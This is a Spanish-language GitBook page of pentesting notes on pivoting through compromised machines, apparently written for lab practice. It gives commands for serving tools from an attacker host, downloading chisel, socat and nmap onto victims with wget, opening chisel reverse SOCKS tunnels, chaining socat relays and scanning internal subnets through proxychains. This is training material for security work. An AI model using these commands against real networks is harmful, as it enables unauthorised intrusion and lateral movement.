brain_fuck
Checklists
Checklists
  • 📁What Is It
  • 🐧Linux Hardening
    • Privilege Escalation - Linux
      • SUDO
      • Kernel Exploit
      • SUID or SGID
      • Capabilities
      • Cron Jobs
      • PATH Hijacking
      • NFS (Network File Sharing)
  • 🖼️Windows Hardening
    • Privilege Escalation - Windows
      • Abusing dangerous privileges
      • Abusing Service Misconfigurations
      • Abusing Vulnerable Software
      • Recopilación de contraseñas en sitios habituales
      • Otras escaladas
    • AD - Active Directory
      • Basic AD
      • Samba & NTML Relay
      • Pass The Hash (PTH)
      • Kerberoasting Attack
      • Golden Ticket & Pass The Ticket (PTT)
  • 🧰Tools
    • Nmap
    • John the Ripper
      • zip2john
    • Gobuster
    • Smbmap
    • Smbclient
    • WPScan
    • GitHack
    • Chisel
      • Proxychains/Sock
    • Hydra
    • Msfvenom
    • CrackMapExec
    • Psexec
    • BloondHound
    • Rpcclient
    • Ldapdomaindump
    • Evil-wmr
    • Burpsuite
    • KeyHunter
  • 📡Ports
    • 21 - FTP
    • 22 - SSH
    • 25 - SMTP
    • 53 - DNS
    • 443 - HTTPS
    • 139;445 - SMB
    • 3389 - RDP
    • 5985 - Wsman
  • 🍎Red - Bash Scripting
    • Pivoting
  • 🧙‍♂️Pentesting Methodology
    • Pivoting
      • Ligolo-ng
  • 🌐OSINT
    • Gps-Coordinates
    • GPG
    • Sherlock
    • Whatsmyname
    • Wiggle
    • Image & Geospatial Intelligence
    • FFmpeg - Geolocating Videos
  • 🗒️TO-DO
  • 🕷️HTB-CBBH
    • Web Requests - Fundamentals
      • HTTP Fundamentals
        • HyperText Transfer Protocol (HTTP)
          • Hypertext Transfer Protocol Secure (HTTPS)
        • HTTP Requests and Responses
        • HTTP Headers
      • HTTP Methods
        • HTTP Methods & Codes
        • GET
        • POST
        • CRUD API
    • Introduction to Web Applications - Fundamentals
      • Front Components & Vulns
      • Back End Components & Vulns
    • Hacking WordPress
      • Info
      • Enumeration
      • Exploitin
    • Using Web Proxies
      • Web Proxy
      • Web Fuzzer
      • Extensions
    • Information Gathering - Web Edition
      • DNS & Subdomains
    • Attacking Web Applications with Ffuf
      • Fuzzing
    • JavaScript Deobfuscation
      • Deobfuscation & Decode
    • Cross-Site Scripting (XSS)
      • XSS Basics
      • XSS Phishing
      • Blind XSS - Session Hijacking
    • SQL Injection
      • Databases & Queries
      • SQL Injections
      • Exploitation
        • Database Enumeration
        • Reading Files
        • Writing Files
      • Skill Assessment
    • SQLMap Essentials
      • Building Attacks
Powered by GitBook
On this page
  • Download binaries on our attacker machine
  • Chisel
  • Socat
  • Nmap
  • Download binaries to the victim machine
  • How to Do
  • Scan
  • Tunneling
  • Socat Conecction
  1. Pentesting Methodology

Pivoting

PreviousPentesting MethodologyNextLigolo-ng

Last updated 3 months ago

Para hacer Pivoting entre maquinas, necesitaremos descargarnos/tener en nuestra maquina de atacante, al menos tres herramientas:

Download binaries on our attacker machine

Estos tres binarios los guardare en mi equipo atacante dentro de una carpeta llamada /PivotingTools. Con intención de ir pasándola maquina a maquina

Chisel

Binario compilado de chisel_linux_amd64.gz (Preferible la 1.7.2)

Ahora solo lo descomprimimos

gunzip chisel_1.10.1_linux_amd64.gz && mv chisel_1.10.1_linux_amd64 chisel

Socat

Descargamos el binario estatico del github de socat

Nmap

Descargamos el binario estatico del github de nmap

Download binaries to the victim machine

Nos levantamos desde la maquina atacante en la carpeta de las utilidades un servidor web con python sudo python3 -m http.server 80 Y en la maquina victima nos movemos a la ruta /opt o /dev/shm

Ahora descargamos los tres binarios con wget

wget http://192.168.18.227/chisel
wget http://192.168.18.227/nmap
wget http://192.168.18.227/socat
chmod +x *

How to Do

Scan

Miro sus interfaces con hostname -I

Veo que también tiene una segunda interfaz donde esta maquina tiene la ip 20.20.20.2, pero no se que otras ips y maquinas existen

Al tener el binario de nmap, podemos lanzarlo para hacer un escaneo de hosts a través de un ping scan

./nmap -sP 20.20.20.0/24
or
./nmap -sn 20.20.20.0/24

El procedimiento de escanear servicios dentro de esta ip igual que siempre

Tunneling

Proxychains.conf

Instalar proxychains4.conf sudo apt install proxychains4

Ahora nos aseguramos de tener configurado bien en nuestra maquina de atacante el /etc/proxychains4.conf y eliminar el proxychains.conf

Tiene que estar con el dynamic_chain sin comentar y comentado el #strict_chain, al final del todo tiene que estar esta linea socks5 127.0.0.1 1080 y borrar o comentar si hay algún socks4.

PODEMOS añadir mas socks5 en diferentes puertos a medida que necesitemos. Yo los dejare ya configurados

# proxychains.conf  VER 3.1
#
#        HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#

# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted
#
dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
#strict_chain
#
# Strict - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# all proxies must be online to play in chain
# otherwise EINTR is returned to the app
#
#random_chain
#
# Random - Each connection will be done via random proxy
# (or proxy chain, see  chain_len) from the list.
# this option is good to test your IDS :)

# Make sense only if random_chain
#chain_len = 2

# Quiet mode (no output from library)
#quiet_mode

# Proxy DNS requests - no leak for DNS data
proxy_dns

# Some timeouts in milliseconds
tcp_read_time_out 15000
tcp_connect_time_out 8000

# ProxyList format
#       type  host  port [user pass]
#       (values separated by 'tab' or 'blank')
#
#
#        Examples:
#
#               socks5  192.168.67.78   1080    lamer   secret
#       http    192.168.89.3    8080    justu   hidden
#       socks4  192.168.1.49    1080
#           http    192.168.39.93   8080
#
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"

socks5  127.0.0.1 1082
socks5  127.0.0.1 1081
socks5  127.0.0.1 1080

Chisel Server & Client

Ahora tenemos dos terminales, la nuestra, maquina atacante y la de la maquina victima. Lanzamos el chisel como server en nuestra maquina de atacante:

./chisel server --reverse -p 1234

Y ahora en la maquina victima, hacemos la conexión como cliente a nuestro servidor/ip:

./chisel client 10.10.10.1:1234 R:socks

Estas dos terminales las separo de mi entorno de trabajo para que no molesten

Escaneo de puertos generales: Ahora podemos hacer escaneos con nmap de esta manera:

sudo proxychains -q nmap --top-port 1000 --open -T5 -Pn -n -sT -v 20.20.20.3 -oG allPorts
or
sudo proxychains -q nmap -p- --open -sT -T5 -v -n -Pn 30.30.30.3

-sT : Es útil cuando no se tiene acceso a privilegios de root o cuando se necesita un escaneo básico sin configuraciones avanzadas como el escaneo SYN

Si no tenemos proxychains4, podemos hacerlo asi: sudo proxychains nmap --top-ports 1000 -sT --open -T5 -v -n -Pn 10.10.10.128 2>&1 | grep -vE "timeout|OK"

Escaneo de servicios de puertos especificos:

sudo proxychains -q nmap -p22,80 -Pn -n -sCVT -v 20.20.20.3 -oN allPorts

Navegador with Tunneling

Opción 1 - Proxychains:

proxychains -q firefox

Con esto haremos que se habra un navegador firefox con proxychains corriendo de fondo done tendremos visibilidad

Opcion 2 - FoxyProxy:

Con la extensión de FoxyProxy en Firefox, podemos configurar un proxy y activarlo/desactivarlo cuando queramos utilizarlo (mi fav) Si se hace una conexion con socat, seguramente haya que crear otro foxyproxy con puerto 1081

Enumeracion Web con Gobuster

Aqui, no se le puede poner el proxychains delante y a correr, tiene un parametro

gobuster dir -u http://20.20.20.3 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html --proxy socks5://127.0.0.1:1080

--proxy socks5://127.0.0.1:1080 Para especificar el proxy a utilizar

Socat Conecction

En mi caso ya tengo la conexion montada con chisel al servidor1 lo que me da visibilidad con el servidor2 (que me permitio hackear), y tambien obviamente tengo privilegios de root en el. Lo primero que hago, es volcarme las utilidades binarias (nmap,chisel,socat) en el servidor2 (por si luego hay mas subredes). Quiero comprometer el servidor3, al cual solo veo desde el servidor2 gracias a su interfaz 30.30.30.2, pero no tengo visibilidad desde mi maquina de atacante "kali":

En el server1:

./socat tcp-l:666,fork,reuseaddr tcp:10.10.10.1:1234

En el server2:

./chisel client 20.20.20.2:666 R:1081:socks

Ahora gracias a la configuración de nuestro proxychins4, podremos lanzar cualquier comando a la victima (siempre utilizando delante proxychains)

Receive and Redirect (RCE)

Todo lo que llegue a Server2 (30.30.30.2:5678) se redirige a Server1 (20.20.20.2:5678), y luego Server1 lo reenvía a mi máquina local (10.10.10.1:5678)

En el server2:

root@82c81a4b663b:/opt# hostname -I
20.20.20.3 30.30.30.2 
root@82c81a4b663b:/opt# ./socat tcp-l:5678,fork,reuseaddr tcp:20.20.20.2:5678

En el server1:

bash-5.2# hostname -I
10.10.10.2 20.20.20.2 
bash-5.2# ./socat tcp-l:5678,fork,reuseaddr tcp:10.10.10.1:5678

🧙‍♂️
static-binaries/nmap at master · andrew-d/static-binariesGitHub
static-binaries/socat at master · andrew-d/static-binariesGitHub
Release v1.7.2 · jpillora/chiselGitHub
Logo
Logo
Logo